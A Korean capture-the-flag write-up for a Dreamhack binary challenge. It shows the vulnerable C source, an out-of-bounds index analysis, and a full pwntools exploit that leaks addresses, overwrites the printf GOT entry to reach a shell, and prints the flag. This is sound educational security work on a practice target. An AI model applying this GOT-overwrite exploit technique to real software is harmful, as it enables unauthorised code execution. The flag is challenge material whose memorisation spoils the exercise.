Description

    여기에서는 XOR이 어떻게 동작하는지 배울 수 있어요!
    혹시 win 함수를 부르는 방법을 찾을 수 있나요?

    checksec

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/XOR_Board/deploy$ checksec ./main
    [*] '/home/ubuntu/Desktop/dreamhack-CTF/XOR_Board/deploy/main'
        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled

    Source Code

    main.c

    // gcc -o main main.c -Wl,-z,norelro
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <unistd.h>
    #include <fcntl.h>
    
    uint64_t arr[64] = {0};
    
    void initialize() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    
        for (int i = 0; i < 64; i++)
            arr[i] = 1ul << i;
    }
    
    void print_menu() {
        puts("1. XOR two values");
        puts("2. Print one value");
        printf("> ");
    }
    
    void xor() {
        int32_t i, j;
        printf("Enter i & j > ");
        scanf("%d%d", &i, &j);
        arr[i] ^= arr[j];
    }
    
    void print() {
        uint32_t i;
        printf("Enter i > ");
        scanf("%d", &i);
        printf("Value: %lx\n", arr[i]);
    }
    
    void win() {
        system("/bin/sh");
    }
    
    int main() {
        int option, i, j;
    
        initialize();
        while (1) {
            print_menu();
            scanf("%d", &option);
            if (option == 1) {
                xor();
            } else if (option == 2) {
                print();
            } else {
                break;
            }
        }
    
        return 0;
    }

    Analysis

    initialize

    arr[0] ~ arr[64]까지 값이 설정된다.

    xor

    i, j 변수를 통해 두 인덱스 값을 입력받아
    특정 인덱스에 있는 arr 변수의 값을 XOR 연산시킨 값으로 지정할 수 있다.

    print

    i 변수를 통해 인덱스 값을 입력받아
    특정 인덱스에 있는 arr 변수의 값을 16진수로 출력해준다.

    Solution

    xor 함수에서 OOB 취약점이 발생한다.

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64',os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote('host3.dreamhack.games', 22879)
    #p = process('./main')
    
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Enter i & j > ', b'63 63')
    
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Enter i & j > ', b'63 -7')
    
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Enter i > ', b'63')
    bin_base = p.recvline()
    bin_base = bin_base.split(b'Value: ')[1]
    bin_base = bin_base.split(b'\n')[0]
    bin_base = b'0x' + bin_base 
    bin_base = int(bin_base.decode('utf-8'), 16) - 0x3488
    print(f"bin_base: {hex(bin_base)}")
    win = bin_base + 0x13ed
    print(f"win: {hex(win)}")
    
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Enter i & j > ', b'63 63')
    
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Enter i & j > ', b'63 -16')
    
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Enter i > ', b'63')
    printf_got = p.recvline()
    printf_got = printf_got.split(b'Value: ')[1]
    printf_got = printf_got.split(b'\n')[0]
    printf_got = b'0x' + printf_got 
    printf_got = int(printf_got.decode('utf-8'), 16)
    print(f"printf_got: {hex(printf_got)}")
    
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Enter i & j > ', b'63 -7')
    
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Enter i > ', b'63')
    tmp = p.recvline()
    tmp = tmp.split(b'Value: ')[1]
    tmp = tmp.split(b'\n')[0]
    tmp = b'0x' + tmp 
    tmp = int(tmp.decode('utf-8'), 16)
    print(f"tmp: {hex(tmp)}")
    print(f"to make xor: {hex(win ^ printf_got)}")
    print(f"to make xor2: {hex(win ^ printf_got ^ tmp)}")
    
    val = win ^ printf_got ^ tmp
    val = int(val/2)
    k=0
    while True:
        if k == 0:
            k+=1
            continue
        if val % 2 == 1:
            print((k))
            p.sendlineafter(b'> ', b'1')
            p.sendlineafter(b'Enter i & j > ', b'0 ' + str(k).encode('utf-8'))
        val = int(val/2)
        if val <= 0:
            break
        k+=1
    
    #0x6765
    # p.sendlineafter(b'> ', b'1')
    # p.sendlineafter(b'Enter i & j > ', b'0 2') #1 ^ 4
    # p.sendlineafter(b'> ', b'1')
    # p.sendlineafter(b'Enter i & j > ', b'0 5') #1 ^ 4 ^ 0x20
    # p.sendlineafter(b'> ', b'1')
    # p.sendlineafter(b'Enter i & j > ', b'0 6') #1 ^ 4 ^ 0x20 ^ 0x40
    # p.sendlineafter(b'> ', b'1')
    # p.sendlineafter(b'Enter i & j > ', b'0 8') #1 ^ 4 ^ 0x20 ^ 0x40 ^ 0x100
    # p.sendlineafter(b'> ', b'1')
    # p.sendlineafter(b'Enter i & j > ', b'0 9') #... ^ 0x200
    # p.sendlineafter(b'> ', b'1')
    # p.sendlineafter(b'Enter i & j > ', b'0 10') #... ^ 0x400
    # p.sendlineafter(b'> ', b'1')
    # p.sendlineafter(b'Enter i & j > ', b'0 13') #... ^ 0x2000
    # p.sendlineafter(b'> ', b'1')
    # p.sendlineafter(b'Enter i & j > ', b'0 14') #... ^ 0x4000
    
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Enter i & j > ', b'62 62')
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Enter i & j > ', b'62 63')
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Enter i & j > ', b'62 0')
    
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Enter i & j > ', b'-16 62')
    
    
    p.interactive()

    Result

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/XOR_Board/deploy$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 22879: Done
    bin_base: 0x561bbf32a000
    win: 0x561bbf32b3ed
    printf_got: 0x7fb011fb2770
    tmp: 0x29abaec9f3f8
    to make xor: 0x29abaec9949d
    to make xor2: 0x6765
    2
    5
    6
    8
    9
    10
    13
    14
    [*] Switching to interactive mode
    1. XOR two values
    2. Print one value
    $ ls
    flag
    main
    $ cat flag
    DH{8475338cdd6114aad8f4c04264f523c3037d245e641118e2a7afe66710f469f4}
    $ 
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 22879

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다